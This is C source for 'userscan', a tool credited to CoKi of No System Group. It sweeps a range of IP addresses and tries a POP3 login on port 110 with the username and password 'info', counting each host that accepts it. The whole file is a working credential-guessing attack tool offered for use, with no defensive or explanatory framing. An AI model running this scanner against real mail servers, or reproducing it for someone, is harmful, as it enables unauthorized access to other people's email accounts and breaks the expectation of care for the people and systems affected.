/* userscan.c

  userscan by CoKi
  ----------------

  Use: ./userscan <ip_begin> <ip_end>

  No System Group - http://www.nosystem.com.ar
  coki@nosystem.com.ar

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DATAMAX 300
#define ERROR -1
#define TIMEOUT 3
#define PORT 110
#define USER "info"

int brute(char *host, char *login);
void use(char *program);
int connect_timeout(int sfd, struct sockaddr *serv_addr, socklen_t addrlen,
  int timeout);

int main(int argc, char *argv[]) {

  int found=0;
  char buf[DATAMAX];
  char *user=USER, *ip, *p;
  int A1, A2, A3, A4;
  int B1, B2, B3, B4;
  int C1, C2, C3, C4;
  int r=0;

  if(argc != 3) {
    use(argv[0]);
  }

  ip = argv[1];
  p = (char *) strtok(ip, ".");
  A1 = atoi(p);
  p = (char *) strtok(NULL, ".");
  A2 = atoi(p);
  p = (char *) strtok(NULL, ".");
  A3 = atoi(p);
  p = (char *) strtok(NULL, ".");
  A4 = atoi(p);

  ip = argv[2];
  p = (char *) strtok(ip, ".");
  B1 = atoi(p);
  p = (char *) strtok(NULL, ".");
  B2 = atoi(p);
  p = (char *) strtok(NULL, ".");
  B3 = atoi(p);
  p = (char *) strtok(NULL, ".");
  B4 = atoi(p);

  if(A1 < 0 || A1 > 255) {
    printf("Error on IP address\n");
    exit(1);
  }
  if(A2 < 0 || A2 > 255) {
    printf("Error on IP address\n");
    exit(1);
  }
  if(A3 < 0 || A3 > 255) {
    printf("Error on IP address\n");
    exit(1);
  }
  if(A4 < 0 || A4 > 255) {
    printf("Error on IP address\n");
    exit(1);
  }
  if(B1 < 0 || B1 > 255) {
    printf("Error on IP address\n");
    exit(1);
  }
  if(B2 < 0 || B2 > 255) {
    printf("Error on IP address\n");
    exit(1);
  }
  if(B3 < 0 || B3 > 255) {
    printf("Error on IP address\n");
    exit(1);
  }
  if(B4 < 0 || B4 > 255) {
    printf("Error on IP address\n");
    exit(1);
  }
                  
  C1 = A1;
  C2 = A2;
  C3 = A3;
  C4 = A4;

  printf("\n");
  printf("userscan by CoKi <coki@nosystem.com.ar>\n\n");
    
  printf("Atacking...\n");  
  for(A1=C1; A1<=B1; A1++) {
    for(A2=C2; A2<=B2; A2++) {
      for(A3=C3; A3<=B3; A3++) {
        for(A4=C4; A4<=B4; A4++) {

          sprintf(ip, "%d.%d.%d.%d", A1, A2, A3, A4);
          printf("%s:\t", ip);
          fflush(stdout);
          r = brute(ip, user);
          if(r == -1) printf("Not found\n");
          else if(r == 1) {
            printf("User found\n");
            found++;
          }
          else if(r == 2) printf("Closed\n");
          else if(r == 3) printf("Timeout\n");
          else if(r == 4) printf("socket() failed\n");
          r = 0;
        }
      }
    }
  }

  printf("Users found:\t%i\n", found);
  printf("\n");
}

int connect_timeout(int sfd, struct sockaddr *serv_addr, socklen_t addrlen,
  int timeout) {

  int res, slen, flags;
  struct timeval tv;
  struct sockaddr_in addr;
  fd_set rdf, wrf;

  fcntl(sfd, F_SETFL, O_NONBLOCK);

  res = connect(sfd, serv_addr, addrlen);

  if (res >= 0) return res;

  FD_ZERO(&rdf);
  FD_ZERO(&wrf);

  FD_SET(sfd, &rdf);
  FD_SET(sfd, &wrf);
  bzero(&tv, sizeof(tv));
  tv.tv_sec = timeout;

  if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
    return -1;

  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
    slen = sizeof(addr);
    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
    return -1;

    flags = fcntl(sfd, F_GETFL, NULL);
    fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

    return 0;
  }

  return -1;
}

void use(char *program) {
  printf("Use: %s <ip_begin> <ip_end>\n", program);
  exit(1);
}

int brute(char *host, char *login) {
  struct sockaddr_in dest_dir;
  int sockfd;
  char buf[DATAMAX], sendstr[50];
  struct timeval timeout;
  fd_set readfds;
    

  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
    return 4;
  }
                
  dest_dir.sin_family = AF_INET;
  dest_dir.sin_port = htons(PORT);
  dest_dir.sin_addr.s_addr = inet_addr(host);
  bzero(&(dest_dir.sin_zero), 8);

  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, sizeof(struct sockaddr), TIMEOUT) == ERROR) {
    return 2;
  }

  timeout.tv_sec = TIMEOUT;
  timeout.tv_usec = 0;
  FD_ZERO(&readfds);
  FD_SET(sockfd, &readfds);
        
  select(sockfd+1, &readfds, NULL, NULL, &timeout);
          
  if(!FD_ISSET(sockfd, &readfds)) {
    return 3;
  }
                      
  recv(sockfd, buf, sizeof(buf), 0);
  bzero(buf, sizeof(buf));
  sprintf(sendstr, "USER %s\n", login);
  send(sockfd, sendstr, strlen(sendstr), 0);
  recv(sockfd, buf, sizeof(buf), 0);
  bzero(buf, sizeof(buf));
                                                     
  sprintf(sendstr, "PASS %s\n", login);
  send(sockfd, sendstr, strlen(sendstr), 0);
  recv(sockfd, buf, sizeof(buf), 0);

  close(sockfd);

  if(strstr(buf, "+OK")) return 1;
  else return -1;
}

